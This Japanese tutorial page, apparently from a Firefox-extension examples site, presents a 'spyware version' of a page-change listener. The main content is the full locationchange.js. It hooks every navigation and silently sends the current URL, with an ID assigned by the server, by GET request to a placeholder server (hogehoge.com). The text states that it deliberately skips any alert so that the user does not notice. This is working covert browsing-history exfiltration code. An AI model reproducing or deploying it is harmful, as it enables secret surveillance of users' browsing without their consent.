ページが切り替わったタイミングを知る: spywareバージョン

せりか式 - FireFox拡張機能 - 拡張機能の例 - ページが切り替わったタイミングを知る - spywareバージョン

URLを適当なサーバに送ってしまうバージョンです.
alertダイアログを出さずに,GETメソッドで現在のURLを裏側で送信してます.

違うのは,locationchange.jsのみです

内容

locationchange.js

詳しい説明は省きますが,なんとなく分かるかと思います.
07行目で一部の文字を置換しています. apache等のウェブサーバが勝手に解釈してしまい,ログが取れないことがあります.

locationchange.js
01: var ID = 0;
02: var SERVER = "http://hogehoge.com/";
03: const _locationchangeListener = {
04: 	onStatusChange: function(){},
05: 	onProgressChange: function(){},
06: 	onLocationChange: function(aWebProgress, aRequest, aLocation){
07: 		var query = SERVER + "?ID=" + ID + "&URL=" + aLocation.asciiSpec.replace(/#/g, "%17").replace(/&/g, "%26").replace(/=/g, "%3d");
08: 		var httpReq;
09: 		httpReq = new XMLHttpRequest();
10: 		httpReq.onload  = _locationchangeHttpLoaded;
11: 		httpReq.onerror = function() { alert("err");};
12: 		try {
13: 			httpReq.open("GET", query, true);
14: 			httpReq.send(null);
15: 		} catch(e) {
16: 			httpReq.abort();
17: 		}
18: 	},
19: 	onStateChange: function(){},
20: 	onSecurityChange: function(){}
21: };
22: function _locationchangeHttpLoaded(e) {
23: 	var httpReq = e.target;
24: 	var uri = httpReq.channel.originalURI;
25: 	try {
26: 		if(ID == 0){
27: 			ID = httpReq.responseText;
28: 		}
29: 	} catch(e) { }
30: }
31: 
32: function _locationchangeInstall(event) {
33: 	var b = getBrowser();
34: 	b.addProgressListener(_locationchangeListener);
35: }
36: function _locationchangeUnInstall(event) {
37: 	var b = getBrowser();
38: 	if(b){
39: 		b.removeProgressListener(_locationchangeListener);
40: 	}
41: 	window.removeEventListener("load", _locationchangeInstall, false);
42: }
43: 
44: window.addEventListener("load", _locationchangeInstall, false);
45: window.addEventListener("unload", _locationchangeUnInstall,false);

トップへ